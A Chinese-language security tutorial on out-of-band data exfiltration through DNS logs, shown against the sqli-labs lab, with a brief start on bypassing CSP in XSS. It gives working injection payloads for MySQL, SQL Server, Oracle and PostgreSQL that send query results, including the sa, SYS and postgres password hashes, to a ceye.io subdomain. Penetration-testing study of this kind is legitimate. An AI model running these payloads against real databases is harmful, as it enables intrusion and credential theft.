背景
在某些不能直接通过漏洞获得回显信息的情况下,我们可以利用DNSlog来进行突破,在发起DNS请求的时候,会把我们想要得到的数据一同外带出来。
在SQL盲注中,最常用的就是二分法了,这种方法不仅麻烦,而且经常的发送请求,还容易被waf探测到,这时利用DNS解析时产生的日志来查看我们想要的数据就方便得多了。
可使用场景:SQL注入中的盲注
XSS绕过CSP
无回显的命令执行
无回显的SSRF
原理
基本原理从下图可以看明白,我们自己搭建DNS服务器,将需要查看的数据放到我们搭建的二级或者三级域名上去,通过DNS的解析日志就可以查看到数据。
DNSlog平台
我们可以直接使用在线平台:http://ceye.io
如果自己有服务器和域名的可以使用BugScan的开源项目:https://github.com/bugscanteam/dnslog/
我们用到的就是红框中的域名
利用场景1:SQL盲注
环境:phpstudy自带的mysql、sqli-lab
前提:具有load_file权限,secure_file_priv不为null
payload:select load_file(concat('\\\\',(select user()),'.xxx.ceye.io\\abc'))
以sqli-lab的less-9为例:
执行payload:http://192.168.255.134/sql/Less-9/?id=1' and if((select load_file(concat('\\\\',(select user()),'.xxx.ceye.io\\abc'))),1,1)--+这里concat()函数将查询的结果与三级域名拼接到一起,load_file()用于向\\查询结果.xxx.ceye.io\abc发起请求
在CEYE平台的Records-->DNS Query下可看到数据:
[scode type="red"]注意:load_file()在linux下不能用来做DNSlog查询数据。因为这里利用的是windows下的UNC路径,而Linux没有UNC路径这个东西。
[/scode]以下摘自百度百科:
UNC(Universal Naming Convention):通用命名规则,也称通用命名规范、通用命名约定。
UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
1:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:\servernamesharename,其中servername是服务器名。sharename是共享资源的名称。
其他数据库payload
a. MySqlselect load_file(concat('\\\\',(select user()),'.xxx.ceye.io\\abc';
b. SQL ServerDECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
c. OracleSELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
d. PostgreSQLDROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
利用场景2:XSS绕过CSP
[scode type="yellow"]什么是CSP?[/scode]
CSP是内容安全策略(Content Security Policy)的缩写,它的实质就是一种白名单策略,在请求中添加Content-Security-Policy头来告诉浏览器哪些是能加载的,哪些是不能加载的(它的实现和执行全部由浏览器完成)
更多知识可查看:案例!使用CSP防止XSS 攻击入门、内容安全策略(CSP),防御 XSS 攻击的好助手